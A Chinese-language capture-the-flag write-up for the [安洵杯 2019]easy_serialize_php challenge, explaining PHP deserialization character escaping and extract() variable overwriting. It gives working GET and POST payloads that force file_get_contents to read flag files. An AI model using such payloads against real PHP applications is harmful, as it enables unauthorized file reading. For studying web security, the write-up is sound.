Noting of [安洵杯 2019]easy_serialize_php

又是一题字符逃逸, 不过还有其他要注意的点

概述

这题考察的点有:

  1. 反序列化字符逃逸
  2. extract()变量覆盖

代码审计

提示说phpinfo()中有东西, 找了一下发现有auto_append_file: d0g3_f1ag.php
auto_append_file: 设置每个php中都自动require一个文件

中间有个extract($_POST), 可能存在变量覆盖

在代码的最后, 存在file_get_contents(base64_decode($userinfo['img']))看参数是否可控, 可以看到有两行
$userinfo = unserialize($serialize_info)
$serialize_info = filter(serialize($_SESSION))

确认有序列化和反序列化, 而$serialize_info在序列化之后存在一个过滤使得字符减少 可能存在字符逃逸
来细细看一下$_SESSION

1
2
3
4
5
$_SESSION = array(
"user" => 'guest',
"function" => @$_GET['f'],
"img" => sha1(base64_encode($_GET['img_path'])),
)

可以看到有两个参数是可以控制的, 但"img"会进行一次sha1加密, 反序列化后却不进行sha1解密, 所以无论输入什么基本都是无效的…

"function"是可控, 且存在字符逃逸, 但如果要执行file_get_contents()​, 必须有$function='show_image', 在$function的值赋给$_SESSION之后, 存在一个$extract($_POST), 我们可以利用这个修改$function 为show_image

到这里思路就清楚了:

file_get_contents(base64_decode($userinfo['img']))参数可控 -> 利用字符逃逸从"funtion"控制"img" -> 利用 extract()变量覆盖修改$functionshow_image

反序列化字符逃逸

总结了挺多次了…

这次的filter是字符减少的替换, 需要利用数组来进行逃逸, 具体原理不多讲了, 可以看反序列化那篇笔记

extract()变量覆盖

这个还是第一次遇到,.

extract()函数从数组中将变量导入到当前的符号表。

也就是说参数是个数组, 并且根据键对值来创造变量, 而且可以覆盖前面的变量, 这样就可以造成变量覆盖了

payload 构造

字符逃逸的构造也总结很多次了, 这次就简单的说一下

这题主要就是构造字符逃逸的payload, 我们需要最后"img" => base64encode("d0g3_f1ag.php")
老套路, 先构造一个

1
2
3
4
5
6
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $_GET['f'];
$_SESSION['img'] = base64_encode('guest_img.png');
$a = serialize($_SESSION);
echo $a;
# a:3:{s:4:"user";s:5:"guest";s:8:"function";N;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

再慢慢尝试通过字符减少把一个双引号闭合, 最后可以构造出payload:

1
?f[]=phpphpphpphp&f[]=";i:1;s:1:"1";}s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=

EXP

GET方式传?f[]=phpphpphpphp&f[]=";i:1;s:1:"1";}s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=
POST方式传function=show_image

不过结果发现flag并不在d0g3_f1ag.php中,d0g3_f1ag.php中只有一句 $flag = 'flag in /d0g3_fllllllag';
那就再构造一次

?f[]=phpphpphpphp&f[]=";i:1;s:1:"1";}s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn

别忘了POST, 然后就能看到flag了

后记

做完题后翻了下别的师傅的wp, 发现别的师傅都是GETf=show_image, POST直接对$_SESSION['user']$_SESSION['function']做文章, 这样就不需要通过数组来进行字符逃逸了, 这也是一种思路, 而且可以控制的变量更多了(我脑子怎么就没转过来…

不过因为脑子没转过来也解锁了控制一个变量的时候, 利用数字来进行字符减少的字符逃逸!